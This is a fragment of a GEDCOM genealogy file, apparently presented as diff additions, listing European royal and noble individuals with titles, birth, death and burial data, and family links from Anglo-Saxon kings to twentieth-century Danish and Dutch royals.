+2 DATE        1939
+1 FAMS @F687@
+1 FAMC @F74@
+0 @I1664@ INDI
+1 NAME Harold  //
+1 SEX M
+1 BIRT
+2 DATE        1876
+1 DEAT
+2 DATE        1949
+1 FAMS @F652@
+1 FAMC @F218@
+0 @I1665@ INDI
+1 NAME Thyra  //
+1 SEX F
+1 BIRT
+2 DATE        1880
+1 DEAT
+2 DATE        1945
+1 FAMC @F218@
+0 @I1666@ INDI
+1 NAME Gustav  //
+1 SEX M
+1 BIRT
+2 DATE        1887
+1 DEAT
+2 DATE        1944
+1 FAMC @F218@
+0 @I1667@ INDI
+1 NAME Dagmar  //
+1 SEX F
+1 BIRT
+2 DATE        1890
+1 DEAT
+2 DATE        1961
+1 FAMS @F651@
+1 FAMC @F218@
+0 @I1668@ INDI
+1 NAME Jorgen  /Castenskiold/
+1 SEX M
+1 BIRT
+2 DATE        1893
+1 FAMS @F651@
+0 @I1669@ INDI
+1 NAME Helene of_Schleswig- Holstein//
+1 SEX F
+1 BIRT
+2 DATE        1888
+1 DEAT
+2 DATE        1962
+1 FAMS @F652@
+0 @I1670@ INDI
+1 NAME Caroline Mathilde //
+1 SEX F
+1 BIRT
+2 DATE        1912
+1 FAMS @F654@
+1 FAMC @F652@
+0 @I1671@ INDI
+1 NAME Knud  //
+1 TITL Her. Prince
+1 SEX M
+1 BIRT
+2 DATE        1900
+1 DEAT
+2 DATE        1976
+1 FAMS @F654@
+1 FAMC @F219@
+0 @I1672@ INDI
+1 NAME Benedikte  //
+1 SEX F
+1 BIRT
+2 DATE        1944
+1 FAMS @F653@
+1 FAMC @F402@
+0 @I1673@ INDI
+1 NAME Richard of_Sayn- Wittgenstein-//
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1934
+1 FAMS @F653@
+0 @I1674@ INDI
+1 NAME Elizabeth  //
+1 SEX F
+1 BIRT
+2 DATE        1935
+1 FAMC @F654@
+0 @I1675@ INDI
+1 NAME Ingolf  //
+1 SEX M
+1 BIRT
+2 DATE        1940
+1 FAMS @F1281@
+1 FAMC @F654@
+0 @I1676@ INDI
+1 NAME Christian  //
+1 SEX M
+1 BIRT
+2 DATE        1942
+1 FAMS @F655@
+1 FAMC @F654@
+0 @I1677@ INDI
+1 NAME Anne Dorothy Maltoft-Nielsen//
+1 SEX F
+1 BIRT
+2 DATE        1947
+1 FAMS @F655@
+0 @I1678@ INDI
+1 NAME William  //
+1 SEX M
+1 BIRT
+2 DATE        1840
+1 DEAT
+2 DATE        1879
+1 FAMC @F447@
+0 @I1679@ INDI
+1 NAME Maurice  //
+1 SEX M
+1 BIRT
+2 DATE        1843
+1 DEAT
+2 DATE        1850
+1 FAMC @F447@
+0 @I1680@ INDI
+1 NAME Alexander  //
+1 SEX M
+1 BIRT
+2 DATE        1851
+1 DEAT
+2 DATE        1884
+1 FAMC @F447@
+0 @I1681@ INDI
+1 NAME Charlotte  //
+1 SEX F
+1 BIRT
+2 DATE        1800
+1 DEAT
+2 DATE        1806
+1 FAMC @F202@
+0 @I1682@ INDI
+1 NAME Marianne of_Netherlands //
+1 SEX F
+1 BIRT
+2 DATE        1810
+1 DEAT
+2 DATE        1883
+1 FAMS @F180@
+1 FAMC @F202@
+0 @I1683@ INDI
+1 NAME William  //
+1 SEX M
+1 BIRT
+2 DATE        1836
+1 DEAT
+2 DATE        1846
+1 FAMC @F388@
+0 @I1684@ INDI
+1 NAME Marie  //
+1 SEX F
+1 BIRT
+2 DATE        1841
+1 DEAT
+2 DATE        1910
+1 FAMS @F656@
+1 FAMC @F388@
+0 @I1685@ INDI
+1 NAME William of_Wied //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1845
+1 DEAT
+2 DATE        1907
+1 FAMS @F656@
+0 @I1686@ INDI
+1 NAME Carlos Hugo //
+1 TITL Prince
+1 SEX M
+1 BIRT
+2 DATE        1930
+1 FAMS @F657@
+0 @I1687@ INDI
+1 NAME Peter  /van_Vollenhoven/
+1 SEX M
+1 BIRT
+2 DATE        1939
+1 FAMS @F658@
+0 @I1688@ INDI
+1 NAME Jorge  /Guillermo/
+1 SEX M
+1 BIRT
+2 DATE        1946
+1 FAMS @F659@
+0 @I1689@ INDI
+1 NAME Alexander  //
+1 SEX M
+1 BIRT
+2 DATE        1818
+1 DEAT
+2 DATE        1848
+1 FAMC @F240@
+0 @I1690@ INDI
+1 NAME Henry  //
+1 SEX M
+1 BIRT
+2 DATE        1820
+1 DEAT
+2 DATE        1879
+1 FAMS @F1258@
+1 FAMS @F1259@
+1 FAMC @F240@
+0 @I1691@ INDI
+1 NAME Ernest  //
+1 SEX M
+1 BIRT
+2 DATE        1822
+1 DEAT
+2 DATE        1822
+1 FAMC @F240@
+0 @I1692@ INDI
+1 NAME Sophie  //
+1 SEX F
+1 BIRT
+2 DATE        1824
+1 DEAT
+2 DATE        1897
+1 FAMS @F660@
+1 FAMC @F240@
+0 @I1693@ INDI
+1 NAME Charles Alexander of_Saxe-Weimar//
+1 TITL Grand Duke
+1 SEX M
+1 BIRT
+2 DATE        1818
+1 DEAT
+2 DATE        1901
+1 FAMS @F660@
+0 @I1694@ INDI
+1 NAME John Frederick of_Brandenburg-//
+1 TITL Margrave
+1 SEX M
+1 FAMS @F661@
+0 @I1695@ INDI
+1 NAME Amalia  //
+1 SEX F
+1 BIRT
+2 DATE 21 DEC 1818
+2 PLAC Oldenburg,Germany
+1 DEAT
+2 DATE 20 MAY 1875
+2 PLAC Bamberg,Germany
+1 BURI
+2 PLAC Theatinerkirche,Munich,Germany
+1 FAMS @F662@
+0 @I1696@ INDI
+1 NAME Leopold_I George of_Saxe-Coburg//
+1 TITL King of Belgium
+1 SEX M
+1 BIRT
+2 DATE 16 DEC 1790
+2 PLAC Coburg,Germany
+1 DEAT
+2 DATE 10 DEC 1865
+2 PLAC Laeken,Belgium
+1 BURI
+2 PLAC Laeken,Belgium
+1 FAMS @F80@
+1 FAMS @F663@
+1 FAMC @F1147@
+0 @I1697@ INDI
+1 NAME Leopold  //
+1 SEX M
+1 BIRT
+2 DATE        1833
+1 DEAT
+2 DATE        1834
+1 FAMC @F663@
+0 @I1698@ INDI
+1 NAME Leopold_II  //
+1 TITL King of Belgium
+1 SEX M
+1 BIRT
+2 DATE  9 APR 1835
+2 PLAC Brussels,Belgium
+1 DEAT
+2 DATE 17 DEC 1909
+2 PLAC Laeken
+1 BURI
+2 PLAC Laeken
+1 FAMS @F1154@
+1 FAMC @F663@
+0 @I1699@ INDI
+1 NAME Marie Charlotte //
+1 SEX F
+1 BIRT
+2 DATE        1840
+1 DEAT
+2 DATE        1927
+1 FAMS @F686@
+1 FAMC @F663@
+0 @I1700@ INDI
+1 NAME Louis Joseph //
+1 TITL Dauphin
+1 SEX M
+1 BIRT
+2 DATE        1781
+1 DEAT
+2 DATE        1789
+1 FAMC @F526@
+0 @I1701@ INDI
+1 NAME Louis_XVII  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE 27 MAR 1785
+2 PLAC Versailles,France
+1 DEAT
+2 DATE  8 JUN 1795
+2 PLAC Paris,France
+1 BURI
+2 PLAC St Marguerite,Cemetery,France
+1 FAMC @F526@
+0 @I1702@ INDI
+1 NAME Sophie Beatrix //
+1 SEX F
+1 BIRT
+2 DATE        1786
+1 DEAT
+2 DATE        1787
+1 FAMC @F526@
+0 @I1703@ INDI
+1 NAME Marie Therese of_Angouleme//
+1 TITL Duchess
+1 SEX F
+1 BIRT
+2 DATE        1778
+1 DEAT
+2 DATE        1851
+1 FAMC @F526@
+0 @I1704@ INDI
+1 NAME Pepin the_Hunchback //
+1 SEX M
+1 DEAT
+2 DATE         811
+1 FAMC @F182@
+0 @I1705@ INDI
+1 NAME Marie Amelie of_Bourbon//
+1 TITL Queen of France
+1 SEX F
+1 BIRT
+2 DATE        1782
+1 DEAT
+2 DATE 24 MAR 1866
+2 PLAC Claremont
+1 FAMS @F1187@
+0 @I1706@ INDI
+1 NAME Alexander of_Mar /Ramsay/
+1 TITL Capt.
+1 SEX M
+1 BIRT
+2 DATE        1919
+1 FAMS @F665@
+1 FAMC @F37@
+0 @I1707@ INDI
+1 NAME Flora Fraser //
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1930
+1 FAMS @F665@
+0 @I1708@ INDI
+1 NAME Dorothy  /Hastings/
+1 SEX F
+1 BIRT
+2 DATE        1899
+1 FAMS @F666@
+0 @I1709@ INDI
+1 NAME   //
+1 TITL Duke of Beaufort
+1 SEX M
+1 BIRT
+2 DATE        1900
+1 FAMS @F667@
+0 @I1710@ INDI
+1 NAME J. E. /Gibbs/
+1 TITL Col.
+1 SEX M
+1 BIRT
+2 DATE        1879
+1 DEAT
+2 DATE        1932
+1 FAMS @F668@
+0 @I1711@ INDI
+1 NAME Henry Abel /Smith/
+1 TITL Col. Sir
+1 SEX M
+1 BIRT
+2 DATE        1900
+1 FAMS @F669@
+0 @I1712@ INDI
+1 NAME John  /Spencer/
+1 SEX M
+1 BIRT
+2 DATE        1960
+1 DEAT
+2 DATE        1960
+1 FAMC @F78@
+0 @I1713@ INDI
+1 NAME Katharine  /Seymour/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1900
+1 FAMC @F127@
+0 @I1714@ INDI
+1 NAME James  //
+1 TITL Duke of Abercorn
+1 SEX M
+1 BIRT
+2 DATE        1904
+1 DEAT
+2 DATE        1979
+1 FAMS @F670@
+1 FAMC @F127@
+0 @I1715@ INDI
+1 NAME Kathleen  /Crichton/
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1905
+1 FAMS @F670@
+0 @I1716@ INDI
+1 NAME Charles Lennox of_Richmond//
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1764
+1 DEAT
+2 DATE        1819
+1 FAMS @F671@
+1 FAMC @F672@
+0 @I1717@ INDI
+1 NAME George Henry Lennox//
+1 TITL Lord
+1 SEX M
+1 DEAT
+2 DATE        1805
+1 FAMS @F672@
+1 FAMC @F673@
+0 @I1718@ INDI
+1 NAME Louisa  /Kerr/
+1 TITL Lady
+1 SEX F
+1 DEAT
+2 DATE        1830
+1 FAMS @F672@
+1 FAMC @F678@
+0 @I1719@ INDI
+1 NAME Charles Lennox of_Richmond//
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1701
+1 DEAT
+2 DATE        1750
+1 FAMS @F673@
+1 FAMC @F674@
+0 @I1720@ INDI
+1 NAME Charles Lennox of_Richmond//
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1672
+1 DEAT
+2 DATE        1723
+1 FAMS @F674@
+0 @I1721@ INDI
+1 NAME Anne of_Albemarle //
+1 TITL Countess
+1 SEX F
+1 DEAT
+2 DATE        1789
+1 FAMS @F677@
+1 FAMC @F674@
+0 @I1722@ INDI
+1 NAME John  /Russell/
+1 TITL Duke of Bedford
+1 SEX M
+1 BIRT
+2 DATE        1766
+1 DEAT
+2 DATE        1839
+1 FAMS @F675@
+1 FAMC @F676@
+0 @I1723@ INDI
+1 NAME Elizabeth of_Tavistock //
+1 TITL Marchioness
+1 SEX F
+1 DEAT
+2 DATE        1768
+1 FAMS @F676@
+1 FAMC @F677@
+0 @I1724@ INDI
+1 NAME Caroline of_Lothian //
+1 TITL Marchioness
+1 SEX F
+1 DEAT
+2 DATE        1778
+1 FAMS @F678@
+1 FAMC @F679@
+0 @I1725@ INDI
+1 NAME Frederica of_Holdernesse //
+1 TITL Countess
+1 SEX F
+1 BIRT
+2 DATE        1688
+1 DEAT
+2 DATE        1751
+1 FAMS @F679@
+1 FAMC @F680@
+0 @I1726@ INDI
+1 NAME of_Schomberg  //
+1 TITL Duke
+1 SEX M
+1 FAMS @F680@
+0 @I1727@ INDI
+1 NAME Charlot  //
+1 SEX F
+1 BIRT
+2 DATE        1659
+1 DEAT
+2 DATE        1696
+1 FAMS @F680@
+0 @I1728@ INDI
+1 NAME Richard  /Bingham/
+1 TITL Earl of Lucan
+1 SEX M
+1 BIRT
+2 DATE        1764
+1 DEAT
+2 DATE        1839
+1 FAMS @F681@
+1 FAMC @F682@
+0 @I1729@ INDI
+1 NAME Charles  /Bingham/
+1 TITL Earl of Lucan
+1 SEX M
+1 BIRT
+2 DATE        1735
+1 DEAT
+2 DATE        1799
+1 FAMS @F682@
+0 @I1730@ INDI
+1 NAME Elizabeth  /Poyntz/
+1 SEX F
+1 DEAT
+2 DATE        1851
+1 FAMS @F683@
+0 @I1731@ INDI
+1 NAME   /Spencer/
+1 TITL Earl of Spencer
+1 SEX M
+1 BIRT
+2 DATE        1835
+1 DEAT
+2 DATE        1910
+1 FAMS @F684@
+1 FAMC @F683@
+0 @I1732@ INDI
+1 NAME Charlotte  /Seymour/
+1 SEX F
+1 DEAT
+2 DATE        1903
+1 FAMS @F684@
+0 @I1733@ INDI
+1 NAME Delia Peel //
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1889
+1 DEAT
+2 DATE        1981
+1 FAMC @F133@
+0 @I1734@ INDI
+1 NAME Lavinia Annaly //
+1 TITL Lady
+1 SEX F
+1 BIRT
+2 DATE        1899
+1 DEAT
+2 DATE        1955
+1 FAMC @F133@
+0 @I1735@ INDI
+1 NAME John of_Althorp /Spencer/
+1 TITL Hon.
+1 SEX M
+1 BIRT
+2 DATE        1708
+1 DEAT
+2 DATE        1746
+1 FAMS @F685@
+0 @I1736@ INDI
+1 NAME William_IX of_Hesse-Cassel //
+1 TITL Elector
+1 SEX M
+1 FAMC @F622@
+0 @I1737@ INDI
+1 NAME Ernest_II of_Saxe-Coburg- Saalfeld//
+1 TITL Duke
+1 SEX M
+1 BIRT
+2 DATE        1818
+1 DEAT
+2 DATE        1893
+1 FAMS @F1369@
+1 FAMC @F43@
+0 @I1738@ INDI
+1 NAME Marie  //
+1 SEX F
+1 FAMS @F687@
+0 @I1739@ INDI
+1 NAME Philip_III the_Bold //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE  1 MAY 1245
+2 PLAC Poissy,,,France
+1 DEAT
+2 DATE  5 OCT 1285
+2 PLAC Perpignan
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F1231@
+1 FAMS @F688@
+1 FAMC @F689@
+0 @I1740@ INDI
+1 NAME Louis_IX (St._Louis) //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE 25 APR 1214
+1 DEAT
+2 DATE 25 AUG 1270
+2 PLAC Tunis,,,Africa
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F689@
+1 FAMC @F690@
+0 @I1741@ INDI
+1 NAME Louis_VIII the_Lion //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE  5 SEP 1187
+2 PLAC Paris,France
+1 DEAT
+2 DATE  8 NOV 1226
+2 PLAC Auvergne,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F690@
+1 FAMC @F1156@
+0 @I1742@ INDI
+1 NAME Blanche of_Castile //
+1 SEX F
+1 BIRT
+2 DATE        1188
+1 DEAT
+2 DATE        1252
+1 FAMS @F690@
+1 FAMC @F691@
+0 @I1743@ INDI
+1 NAME Charles_IV the_Fair //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE ABT    1294
+1 DEAT
+2 DATE  1 FEB 1328
+2 PLAC Vincennes,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F1176@
+1 FAMS @F1177@
+1 FAMS @F1178@
+1 FAMC @F794@
+0 @I1744@ INDI
+1 NAME Edward  //
+1 SEX M
+1 FAMS @F692@
+1 FAMC @F562@
+0 @I1745@ INDI
+1 NAME Beatrice  //
+1 SEX F
+1 FAMS @F692@
+0 @I1746@ INDI
+1 NAME Ferdinand_III  //
+1 TITL King of Castile
+1 SEX M
+1 BIRT
+2 DATE        1199
+1 DEAT
+2 DATE        1252
+1 FAMS @F693@
+1 FAMC @F784@
+0 @I1747@ INDI
+1 NAME Berengaria  //
+1 SEX F
+1 BIRT
+2 DATE        1171
+1 DEAT
+2 DATE        1246
+1 FAMS @F784@
+1 FAMC @F571@
+0 @I1748@ INDI
+1 NAME Sancho_III  //
+1 TITL King of Castile
+1 SEX M
+1 BIRT
+2 DATE ABT    1134
+1 DEAT
+2 DATE ABT    1158
+1 FAMS @F695@
+0 @I1749@ INDI
+1 NAME Alfonso_X the_Wise //
+1 TITL King of Castile
+1 SEX M
+1 BIRT
+2 DATE ABT    1226
+1 DEAT
+2 DATE        1284
+2 PLAC Seville,,,Spain
+1 FAMS @F696@
+1 FAMC @F693@
+0 @I1750@ INDI
+1 NAME   /Unknown/
+1 SEX F
+1 FAMS @F696@
+0 @I1751@ INDI
+1 NAME Sancho_IV  //
+1 SEX M
+1 BIRT
+2 DATE        1258
+1 DEAT
+2 DATE        1296
+1 FAMC @F696@
+0 @I1752@ INDI
+1 NAME Gunnor  //
+1 SEX M
+1 FAMS @F698@
+0 @I1753@ INDI
+1 NAME Athelstan  //
+1 FAMC @F580@
+0 @I1754@ INDI
+1 NAME Egbert  //
+1 SEX M
+1 DEAT
+2 DATE        1005
+1 FAMC @F580@
+0 @I1755@ INDI
+1 NAME Edred  //
+1 FAMC @F580@
+0 @I1756@ INDI
+1 NAME Edwy  //
+1 DEAT
+2 DATE        1017
+1 FAMC @F580@
+0 @I1757@ INDI
+1 NAME Edward  //
+1 SEX M
+1 FAMC @F580@
+0 @I1758@ INDI
+1 NAME Edgar  //
+1 SEX M
+1 FAMC @F580@
+0 @I1759@ INDI
+1 NAME Edith  //
+1 SEX F
+1 FAMS @F701@
+1 FAMC @F580@
+0 @I1760@ INDI
+1 NAME Elgiva  //
+1 SEX F
+1 FAMS @F702@
+1 FAMC @F580@
+0 @I1761@ INDI
+1 NAME Wulfhilda  //
+1 SEX F
+1 FAMS @F704@
+1 FAMC @F580@
+0 @I1762@ INDI
+1 NAME (Daughter)  //
+1 SEX F
+1 FAMS @F705@
+1 FAMC @F580@
+0 @I1763@ INDI
+1 NAME Stephen_I  //
+1 TITL King of Hungary
+1 SEX M
+1 BIRT
+2 DATE ABT     975
+1 DEAT
+2 DATE        1038
+1 FAMS @F699@
+0 @I1764@ INDI
+1 NAME Edmund  //
+1 SEX M
+1 FAMS @F700@
+1 FAMC @F581@
+0 @I1765@ INDI
+1 NAME Hedwig  //
+1 SEX F
+1 FAMS @F700@
+1 FAMC @F699@
+0 @I1766@ INDI
+1 NAME Christina  //
+1 SEX F
+1 FAMC @F582@
+0 @I1767@ INDI
+1 NAME Alfred Athling //
+1 SEX M
+1 DEAT
+2 DATE        1036
+1 FAMC @F575@
+0 @I1768@ INDI
+1 NAME Gunhilda  //
+1 SEX F
+1 DEAT
+2 DATE        1038
+1 FAMS @F846@
+1 FAMC @F584@
+0 @I1769@ INDI
+1 NAME Edric of_Mercia /Streona/
+1 TITL Ealdorman
+1 SEX M
+1 FAMS @F701@
+0 @I1770@ INDI
+1 NAME Uchtred  //
+1 SEX M
+1 FAMS @F702@
+1 FAMC @F703@
+0 @I1771@ INDI
+1 NAME Waltheof of Northumberland//
+1 TITL Earl
+1 SEX M
+1 FAMS @F703@
+0 @I1772@ INDI
+1 NAME Ulfcytel of_East_Anglia /Snylling/
+1 TITL Ealdorman
+1 SEX M
+1 FAMS @F704@
+0 @I1773@ INDI
+1 NAME Athelstan  //
+1 SEX M
+1 FAMS @F705@
+0 @I1774@ INDI
+1 NAME Alfgar of_Mercia //
+1 TITL Earl
+1 SEX M
+1 FAMS @F706@
+0 @I1775@ INDI
+1 NAME Alfhelm of_Northhampton //
+1 TITL Earl
+1 SEX M
+1 FAMS @F707@
+0 @I1776@ INDI
+1 NAME Sweyn Forkbeard //
+1 TITL King of Denmark
+1 SEX M
+1 DEAT
+2 DATE        1014
+1 FAMS @F708@
+0 @I1777@ INDI
+1 NAME Gunhilda  //
+1 SEX F
+1 FAMS @F708@
+1 FAMC @F709@
+0 @I1778@ INDI
+1 NAME Mieczislaw_I of_Poland //
+1 TITL Duke
+1 SEX M
+1 FAMS @F709@
+0 @I1779@ INDI
+1 NAME Edgar the_Peaceful //
+1 SEX M
+1 BIRT
+2 DATE         944
+1 DEAT
+2 DATE         975
+1 BURI
+2 PLAC Glastonbury
+1 FAMS @F710@
+1 FAMS @F711@
+1 FAMC @F714@
+0 @I1780@ INDI
+1 NAME Elfrida  //
+1 SEX F
+1 DEAT
+2 DATE        1000
+1 FAMS @F710@
+1 FAMC @F713@
+0 @I1781@ INDI
+1 NAME Ethelfleda  //
+1 SEX F
+1 FAMS @F711@
+1 FAMC @F712@
+0 @I1782@ INDI
+1 NAME Edward the_Martyr //
+1 SEX M
+1 FAMC @F711@
+0 @I1783@ INDI
+1 NAME Ordmaer  //
+1 TITL Ealdorman
+1 SEX M
+1 FAMS @F712@
+0 @I1784@ INDI
+1 NAME Edmund  //
+1 SEX M
+1 DEAT
+2 DATE         970
+1 FAMC @F710@
+0 @I1785@ INDI
+1 NAME Ordgar of_Devon Ealdorman//
+1 SEX M
+1 FAMS @F713@
+0 @I1786@ INDI
+1 NAME Edmund_I the_Elder //
+1 SEX M
+1 BIRT
+2 DATE         939
+1 DEAT
+2 DATE         946
+1 BURI
+2 PLAC Glastonbury
+1 FAMS @F714@
+1 FAMS @F716@
+1 FAMC @F718@
+0 @I1787@ INDI
+1 NAME St._Elgiva  //
+1 SEX F
+1 FAMS @F714@
+0 @I1788@ INDI
+1 NAME Edwy  //
+1 SEX M
+1 FAMS @F715@
+1 FAMC @F714@
+0 @I1789@ INDI
+1 NAME Elgiva  //
+1 SEX F
+1 FAMS @F715@
+0 @I1790@ INDI
+1 NAME Ethelfleda of_Domerham //
+1 SEX F
+1 FAMS @F716@
+1 FAMC @F717@
+0 @I1791@ INDI
+1 NAME Alfgar of_Wiltshire //
+1 TITL Ealdorman
+1 SEX M
+1 FAMS @F717@
+0 @I1792@ INDI
+1 NAME Edward the_Elder //
+1 SEX M
+1 DEAT
+2 DATE         924
+1 BURI
+2 PLAC Winchester
+1 FAMS @F720@
+1 FAMS @F722@
+1 FAMS @F718@
+1 FAMC @F834@
+0 @I1793@ INDI
+1 NAME Edgiva  //
+1 SEX F
+1 FAMS @F718@
+0 @I1794@ INDI
+1 NAME Edred  //
+1 SEX M
+1 FAMC @F718@
+0 @I1795@ INDI
+1 NAME Edburh  //
+1 SEX F
+1 FAMC @F718@
+0 @I1796@ INDI
+1 NAME Edgiva  //
+1 SEX F
+1 FAMS @F719@
+1 FAMC @F718@
+0 @I1797@ INDI
+1 NAME Louis  //
+1 TITL King of Provence
+1 SEX M
+1 FAMS @F719@
+0 @I1798@ INDI
+1 NAME Ecgwyn  //
+1 SEX F
+1 FAMS @F720@
+0 @I1799@ INDI
+1 NAME Athelstan  //
+1 SEX M
+1 BIRT
+2 DATE         895
+1 DEAT
+2 DATE         940
+1 BURI
+2 PLAC Malmesbury
+1 FAMC @F720@
+0 @I1800@ INDI
+1 NAME Daughter  //
+1 SEX F
+1 FAMS @F721@
+1 FAMC @F720@
+0 @I1801@ INDI
+1 NAME Sihtric of Northumberland//
+1 TITL King of Denmark
+1 SEX M
+1 FAMS @F721@
+0 @I1802@ INDI
+1 NAME Elfleda  //
+1 SEX F
+1 FAMS @F722@
+0 @I1803@ INDI
+1 NAME Ethelwerd  //
+1 DEAT
+2 DATE         924
+1 FAMC @F722@
+0 @I1804@ INDI
+1 NAME Edwin  //
+1 SEX M
+1 FAMC @F722@
+0 @I1805@ INDI
+1 NAME Elfleda  //
+1 SEX F
+1 FAMC @F722@
+0 @I1806@ INDI
+1 NAME Edgiva  //
+1 SEX F
+1 FAMS @F723@
+1 FAMC @F722@
+0 @I1807@ INDI
+1 NAME Ethelhilda  //
+1 SEX F
+1 FAMC @F722@
+0 @I1808@ INDI
+1 NAME Edhilda  //
+1 SEX F
+1 FAMS @F724@
+1 FAMC @F722@
+0 @I1809@ INDI
+1 NAME Eadgyth (Edith) //
+1 SEX F
+1 FAMS @F725@
+1 FAMC @F722@
+0 @I1810@ INDI
+1 NAME Elgiva  //
+1 SEX F
+1 FAMS @F726@
+1 FAMC @F722@
+0 @I1811@ INDI
+1 NAME Charles the_Simple //
+1 TITL King of France
+1 SEX M
+1 FAMS @F723@
+0 @I1812@ INDI
+1 NAME Hugh the_Great //
+1 TITL Count of Paris
+1 SEX M
+1 FAMS @F724@
+0 @I1813@ INDI
+1 NAME Otho_I the_Great //
+1 TITL King of Germany
+1 SEX M
+1 FAMS @F725@
+0 @I1814@ INDI
+1 NAME Boleslaw_II  //
+1 TITL Duke of Bohemia
+1 SEX M
+1 FAMS @F726@
+0 @I1815@ INDI
+1 NAME Claude  //
+1 TITL Duke of Guise
+1 SEX M
+1 FAMS @F727@
+0 @I1816@ INDI
+1 NAME Francis_I  //
+1 TITL King of France
+1 SEX M
+1 BIRT
+2 DATE 12 SEP 1494
+2 PLAC Cognac,France
+1 DEAT
+2 DATE 31 MAR 1547
+2 PLAC Rambouillet,France
+1 BURI
+2 PLAC St. Denis,France
+1 FAMS @F728@
+1 FAMS @F1359@
+1 FAMC @F729@
+0 @I1817@ INDI
+1 NAME Louise of_Savoy //
+1 SEX F
+1 BIRT
+2 DATE        1476
+1 DEAT
+2 DATE        1531
+1 FAMS @F729@
+0 @I1818@ INDI
+1 NAME Donald  //
+1 TITL Earl of Mar
+1 SEX M
+1 FAMS @F730@
+0 @I1819@ INDI
+1 NAME Adam of_Rowallan /Mure/
+1 TITL Sir
+1 SEX M
+1 FAMS @F731@
+0 @I1820@ INDI
+1 NAME Hugh  //
+1 TITL Earl of Ross
+1 SEX M
+1 FAMS @F732@
+0 @I1821@ INDI
+1 NAME Jean  //
+1 TITL Lady
+1 SEX F
+1 FAMS @F733@
+1 FAMS @F734@
+1 FAMS @F735@
+1 FAMC @F543@
+0 @I1822@ INDI
+1 NAME John  /Keith/
+1 TITL Sir
+1 SEX M
+1 FAMS @F733@
+0 @I1823@ INDI
+1 NAME John of_Glamis /Lyon/
+1 TITL Sir
+1 SEX M
+1 FAMS @F734@
+0 @I1824@ INDI
+1 NAME James  /Sandilands/
+1 TITL Sir
+1 SEX M
+1 FAMS @F735@
+0 @I1825@ INDI
+1 NAME John  /Drummond/
+1 TITL Sir
+1 SEX M
+1 FAMS @F737@
+0 @I1826@ INDI
+1 NAME Arnold  //
+1 TITL Duke of Gueldres
+1 SEX M
+1 FAMS @F738@
+0 @I1827@ INDI
+1 NAME Christian_I  //
+1 TITL King of Denmark
+1 SEX M
+1 BIRT
+2 DATE        1426
+1 DEAT
+2 DATE        1481
+1 FAMS @F739@
+0 @I1828@ INDI
+1 NAME Dorothea  //
+1 SEX F
+1 BIRT
+2 DATE        1430
+1 DEAT
+2 DATE        1495
+1 FAMS @F739@
+1 FAMS @F1342@
+1 FAMC @F1277@
+0 @I1829@ INDI
+1 NAME   /Unknown/
+1 SEX F
+1 FAMS @F548@
+0 @I1830@ INDI
+1 NAME Robert  /Bruce/
+1 SEX M
+1 DEAT
+2 DATE        1304
+1 FAMS @F740@
+1 FAMC @F741@
+0 @I1831@ INDI
+1 NAME Margaret of_Carrick //
+1 TITL Countess
+1 SEX F
+1 FAMS @F740@
+0 @I1832@ INDI
+1 NAME Robert  /Bruce/
+1 SEX M
+1 DEAT
+2 DATE        1295
+1 FAMS @F741@
+1 FAMC @F743@
+0 @I1833@ INDI
+1 NAME Isobel  //
+1 SEX F
+1 DEAT
+2 DATE        1254
+1 FAMS @F741@
+1 FAMC @F742@
+0 @I1834@ INDI
+1 NAME Gilbert De_Clare of_Gloucester//
+1 TITL Earl
+1 SEX M
+1 FAMS @F742@
+0 @I1835@ INDI
+1 NAME Robert of_Annandale /Bruce/
+1 TITL Lord
+1 SEX M
+1 FAMS @F743@
+0 @I1836@ INDI
+1 NAME Isobel  //
+1 SEX F
+1 DEAT
+2 DATE        1251
+1 FAMS @F743@
+1 FAMC @F744@
+0 @I1837@ INDI
+1 NAME David of_Huntingdon //
+1 TITL Earl
+1 SEX M
+1 DEAT
+2 DATE        1219
+1 FAMS @F744@
+1 FAMC @F1023@
+0 @I1838@ INDI
+1 NAME Matilda  //
+1 SEX F
+1 DEAT
+2 DATE        1233
+1 FAMS @F744@
+1 FAMC @F745@
+0 @I1839@ INDI
+1 NAME Hugh  /Keveliock/
+1 TITL Earl of Chester
+1 SEX M
+1 FAMS @F745@
+0 @I1840@ INDI
+1 NAME John  /Logie/
+1 TITL Sir
+1 SEX M
+1 FAMS @F746@
+0 @I1841@ INDI
+1 NAME Malcolm  /Drummond/
+1 TITL Sir
+1 SEX M
+1 FAMS @F747@
+0 @I1842@ INDI
+1 NAME Margaret  //
+1 SEX F
+1 DEAT
+2 DATE        1228
+1 FAMS @F806@
+1 FAMC @F744@
+0 @I1843@ INDI
+1 NAME Alan  //
+1 TITL Lord of Galloway
+1 SEX M
+1 FAMS @F748@
+1 FAMS @F806@
+0 @I1844@ INDI
+1 NAME Devorguilla  //
+1 SEX F
+1 DEAT
+2 DATE        1290
+1 FAMS @F749@
+1 FAMC @F806@
+0 @I1845@ INDI
+1 NAME John  /Balliol/
+1 SEX M
+1 FAMS @F749@
+0 @I1846@ INDI
+1 NAME John  /Balliol/
+1 SEX M
+1 DEAT
+2 DATE        1313
+1 FAMS @F750@
+1 FAMC @F749@
+0 @I1847@ INDI
+1 NAME Isobel  //
+1 SEX F
+1 FAMS @F750@
+1 FAMC @F751@
+0 @I1848@ INDI
+1 NAME John de_Warenne //
+1 TITL Earl of Surrey
+1 SEX M
+1 FAMS @F751@
+0 @I1849@ INDI
+1 NAME Edward  /Balliol/
+1 SEX M
+1 DEAT
+2 DATE        1363
+1 FAMC @F750@
+0 @I1850@ INDI
+1 NAME Baldwin_V of_Flanders //
+1 TITL Count
+1 SEX M
+1 FAMS @F752@
